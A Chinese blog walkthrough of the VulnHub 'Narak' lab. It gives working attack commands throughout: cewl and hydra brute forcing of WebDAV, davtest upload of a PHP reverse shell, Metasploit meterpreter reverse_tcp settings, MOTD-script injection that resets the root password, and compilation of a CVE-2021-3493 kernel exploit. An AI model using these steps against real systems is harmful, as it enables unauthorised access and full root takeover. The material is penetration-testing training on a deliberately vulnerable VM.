靶场练习第三天~vulnhub靶场之 narak
一. 信息收集
1.探测靶机IP并探测靶机开放端口:
2.访问80端口web服务,并未发现其他信息,接着进行目录扫描:
dirsearch 扫描发现webdav路径
这里简单讲一下什么是webdav:
WEBDAV是基于HTTP 1.1的扩展协议,其支持使用PUT方法上传和锁定文件,基于这个特性可以实现功能强大的内容或配置管理系统。但丰富的功能特性总是会带来安全方面的更多隐患,尤其是在配置不当的情况下,可能直接给攻击者留下一个文件上传的入口。
davtest是一个文件上传漏洞的检测和验证工具,而cadaver作为一个命令行形式的WEBDAV客户端程序,可以对相应服务器进行任何操作。
WebDAV服务漏洞利用工具DAVTest
WebDAV是基于Web服务的扩展服务。它允许用户像操作本地文件一样,操作服务器上的文件。借助该功能,用户很方便的在网络上存储自己的文件。为了方便用户使用,通常会提供给用户较大的文件权限,如上传、修改甚至是执行权限。
Kali Linux提供了一款WebDAV服务漏洞利用工具DAVTest。该工具会自动检测权限,寻找可执行文件的权限。一旦发现,用户就可以上传内置的后门工具,对服务器进行控制。同时,该工具可以上传用户指定的文件,便于后期利用。
原文链接:https://blog.csdn.net/daxueba/article/details/76170470
原文链接:https://blog.csdn.net/qq_40399982/article/details/112583196
3.访问webdav路径,需要登录认证:
4.用kali的字典工具cewl生成密码字典进行爆破
cewl http://192.168.133.133/ -w pwd.txt
5.使用kali工具hydra进行爆破:
在Hydra中,如果你想针对Web服务进行攻击,需要指定是
http-get
,http-post-form
,http-head
等具体的模块。例如,如果目标站点使用 HTTP 基本认证(Basic Authentication),你应该使用
http-get
或者http-head
模块。如果是一个表单提交(比如登录页面),则可能需要使用http-post-form
或者http-get-form
。下面是一个基于假设情形的示例,你应该根据实际情况调整:
hydra -L pwd.txt -P wpd.txt http-get://192.168.133.133/webdav
或者针对表单登录的例子:
hydra -L pwd.txt -P wpd.txt http-post-form://192.168.133.133/login:username=^USER^&password=^PASS^:F=错误
在这个例子中:
http-post-form
是被用来指定使用 HTTP POST 方法的表单提交。://192.168.133.133/login
指明了目标URL。
hydra -L pwd.txt -P pwd.txt http-get://192.168.133.133/webdav
二. 漏洞攻击
方法一:
通过kali自带工具davtest
获取了webdav服务的相关认证信息,接下来我直接开始使用kali自带的webdav测试工具davtest进行测试,看能否传文件上去,如果可以的话,直接将webshell传到服务器上,以便getshell突破边界。
1.通过kali自带工具davtest,测试写入文件
davtest -url http://192.168.26.131/webdav -auth yamdoot:Swarg
通过测试得知,通过获取到的信息凭证建立一个DAV连接,并且可以在靶机上创建目录和上传文件,而上传到上面的文件只有txt,php,html三种格式的文件可以被执行,那么到这里getshell的思路就有了, 直接传一个反弹shell的php文件,然后kali监听本地端口,然后访问这个文件,触发执行即可getshell。
2.获取反弹shell的php文件,开启监听,访问该php文件反弹shell
① 将kali自带的反弹shell的文件拷贝到当前目录
cp /usr/share/webshells/php/php-reverse-shell.php .
② 修改php文件中的IP地址为攻击机kali的IP,设置要监听的端口
3.使用kali工具davtest上传该php文件
davtest -url http://192.168.133.133/webdav -auth yamdoot:Swarg -uploadfile php-reverse-shell.php -uploadloc rev.php
davtest
:这是用于测试 WebDAV 服务的命令行工具。-url http://192.168.133.133/webdav
:这指定了要测试的 WebDAV 服务器的 URL 地址;在此例中,它是本地网络上 IP 地址为192.168.133.133
的服务器上的/webdav
路径。-auth yamdoot:Swarg
:这是用于通过 HTTP 基本认证连接 WebDAV 服务器的凭据,yamdoot
是用户名,Swarg
是密码。-uploadfile php-reverse-shell.php
:这指定了一个要上传到 WebDAV 服务器的本地文件,名为php-reverse-shell.php
。这个文件通常包含一个 PHP 反向 shell 脚本,当在服务器上执行时,会尝试与攻击者的机器建立反向连接,从而可能允许远程代码执行。-uploadloc rev.php
:这指定了上传文件在 WebDAV 服务器上的位置和名称。在本例中,php-reverse-shell.php
将被上传并重命名为rev.php
。组合起来,这条命令的目的是尝试将一个名为
php-reverse-shell.php
的本地文件上传到目标 WebDAV 服务器的/webdav
目录下,并且在服务器上保存为rev.php
。同时,这个过程需要 HTTP 基本认证,因此需要提供有效的用户名和密码。
4.成功上传文件,开启监听,访问该文件,成功反弹shell
使用python提升交互shell
python -c "import pty;pty.spawn('/bin/bash')"
python3 -c "import pty;pty.spawn('/bin/bash')"
三. 权限提升之MOTD注入提权:
1.通过命令寻找属主是root ,普通用户或组可执行,其他用户可写的文件
接下来通过下面这条命令查找属主是root ,普通用户或组可执行,其他用户可写的文件,这种文件往往可以帮助我们实现权限提升。
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
#命令解释:
从根目录下开始查找文件:(文件类型:属主是root,但是普通用户或组可执行,其他用户可写的文件)如果发现了符合条件的用 ls -l命令显示 错误信息从定向到null
2.获取普通用户inferno权限
查看第一个文件,/mnt/hell.sh,发现里面有brainfuck加密的内容,进行解密:
解密结果为字符串:chitragupt
使用解密网站:
home目录下有三个用户,可以尝试使用这三个用户和解密的密码进行用户登录尝试提权为用户权限:
使用用户:inferno尝试登陆,直接切换为普通用户inferno的用户权限,成功登录
3.ssh登录到inferno用户,进一步提权
使用ssh登录到该用户权限:
ssh [email protected]
继续使用命令查找属主是root ,普通用户或组可执行,其他用户可写的文件
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
除了刚刚发现密码的那个文件,其他文件都在/etc/update-motd.d/这个目录下,
motd是message of the day这句话的缩写
通过ssh登录成功后看到的那些欢迎和提示的信息都是motd目录下存放的这些sh脚本所提供的。
那么现在知道,通过ssh登录成功的时候,这些sh脚本会以root权限运行输出那些欢迎信息和日期等等,并且我们当前这个用户对这些文件可读可写,
提权思路:
那么就可以通过在这些sh脚本中写入一个修改root用户密码的命令,这样当我们通过ssh用户登录到inferno这个账号上的时候,我们这些motd的sh脚本就会被以root用户的权限执行,
这时候我们写入的修改root用户密码的命令也会被执行,之后我们只需要切换到root用户即可完成提权。
vi /etc/update-motd.d/00-header #vi编辑器编辑这个文件
echo 'root:123' | chpasswd #在文件末尾添加这一行,这行的意思就是,使用chpasswd命令将root用户的密码修改为123
4.提权至root权限:
修改并保存后,退出当前用户ssh登录,然后重新使用ssh登录该用户,则触发修改root用户密码的命令,接着可直接切换至root权限用户:
方法二:
通过msfconsole中攻击模块进行getshell
1.寻找webdav相关的攻击模块
找到适合的攻击模块:exploit/windows/http/xampp_webdav_upload_php
use exploit/windows/http/xampp_webdav_upload_php
2.利用该模块,并给定需要的payload和参数设置:
set payload php/meterpreter/reverse_tcp
set RHOST 192.168.133.133
set USERNAME yamdoot
set PASSWORD Swarg
set LHOST 192.168.133.129
3.参数设置完成后,发起攻击,会上传一个php文件,发起攻击的同时访问该上传的php文件,成功getshell
4.getshell之后提权至用户权限
内核版本:Ubuntu18.04——之CVE-2021-3493 内核漏洞提权
解密并使用ssh登录至普通用户inferno,发现该靶机版本是Ubuntu18.04,该版本系统存在内核漏洞,可进行本地提权:
“Linux 内核中 overlayfs 文件系统中的 Ubuntu 特定问题,它没有正确验证文件系统功能在用户命名空间方面的应用。本地攻击者可以利用这一点来获得提升的权限,因为 Ubuntu 中携带了一个补丁,允许非特权覆盖层挂载。
直接下载提权所需exp,有编译好的可以直接使用,也可以下载到kali上进行编译
下载后进行编译:
新版kali在进行gcc编译时,可能版本过高在靶机服务器上无法正常运行,可到github上下载已编译完成的exploit文件
chmod 777 exploit.c # 赋予可执行权限
gcc exploit.c -o exploit # 进行编译
编译后上传至靶机服务器,赋予该文件可执行权限,运行即可成功提权至root用户